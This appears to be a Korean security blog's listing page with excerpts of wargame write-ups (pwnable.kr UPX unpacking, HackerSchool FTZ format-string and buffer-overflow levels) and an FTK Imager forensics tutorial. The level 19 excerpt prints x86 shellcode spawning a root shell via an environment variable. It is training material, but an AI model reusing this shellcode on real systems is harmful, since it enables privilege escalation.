All
-
[Toddler's Bottle] flagWargame/pwnable.kr Challenge 2019. 2. 14. 10:59
→ 힌트는 아래와 같다. → 바이너리 다운로드 및 분석 환경(ubuntu)에 업로드한다. → gdb로 디버깅을 시도하였지만 실행 파일 포맷이 아니라는 메시지를 확인했다. → objdump로 바이너리 파일 포맷 정보를 확인했다. → gdb에서 실행파일로 인식하지 않았으나, objdump에선 elf64 실행 파일로 인식하는 것을 확인할 수 있다. 먼저 실행파일인 점과 64비트 바이너리 인점을 알 수 있다. → strings 도구를 이용하여 바이너리 스트링 값을 확인한다. 일일히 확인하다가 upx라는 패킹 메시지를 확인했다. → 메시지에도 알 수 있듯이 해당 파일은 upx 패킹된 상태로 추측되며, UPX 언팩을 진행해야 한다. unpacker를 아래와 같이 설치한다. → 설치 후 upx 명령어를 입력하면 사용..
-
lvl 20Wargame/HackerSchool FTZ 2019. 2. 14. 09:24
→ 힌트 정보는 아래와 같다. → fgets로부터 입력받을 수 있는 입력 값의 길이가 79자리로 제한되어 있으므로(bleh가 80바이트) BOF에 의해 RET를 덮어쓰는 것은 불가능하다. 따라서, BOF 문제는 아니다. → 하지만, printf(bleh); 에서 포맷스트링 버그를 확인할 수 있다. → 먼저, 포맷스트링 버그의 개념을 알아본다. int printf(const char *format [ ,argument]...); → 인자의 개수가 정해져있지 않고 넣는데로 인자가 전달되고, printf의 서식문자에 출력이 될 값이 인자로 추가로 붙어 활용된다. 그리고 문자열을 직접 인자로 전달하지않고, 문자열이 저장된 주소 값을 인자로 전달하는 특징이 있다. → 여기서, 문자열에 서식문자(%d,%n, .....
-
lvl 19Wargame/HackerSchool FTZ 2019. 2. 14. 09:24
→ 힌트를 확인한다. → 매우 간단해 보인다. 바로 BOF 를 시도해 본다. → 환경변수에 쉘코드를 넣고 주소 값을 확인한다. export SHELLCODE=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"') #include int main(){ printf("addr: %p\n", getenv("SHELLCODE")); return 0;} [level19@ftz level19]$ export SHELLCODE=$(pytho..
-
FTK Imager 디스크 이미지CERT/Forensic 2019. 2. 13. 16:07
→ 테스트 USB에 "disk_test" 폴더를 생성한 후, "1234.txt" 문서를 아래와 같이 작성한다. → 생성한 폴더와 파일을 삭제한다. (Shift+Del) → FTK Imager 프로그램을 실행한 후, [File] - [Create Disk Image...] 메뉴에 접근하고, [Physical Drive]를 선택한 후, [다음]을 클릭한다. → 대상 드라이브를 선택한 후, [Finish]를 클릭한다. → 아래 그림의 [Add]를 클릭한다. → [Raw] Type 으로 진행한다. → Disk Image 기입 정보를 입력한 후, [다음]을 클릭한다. → 이미지를 저장할 위치를 설정한 후, [Finish]를 클릭한다. → [Verify images after they are created] 옵션을..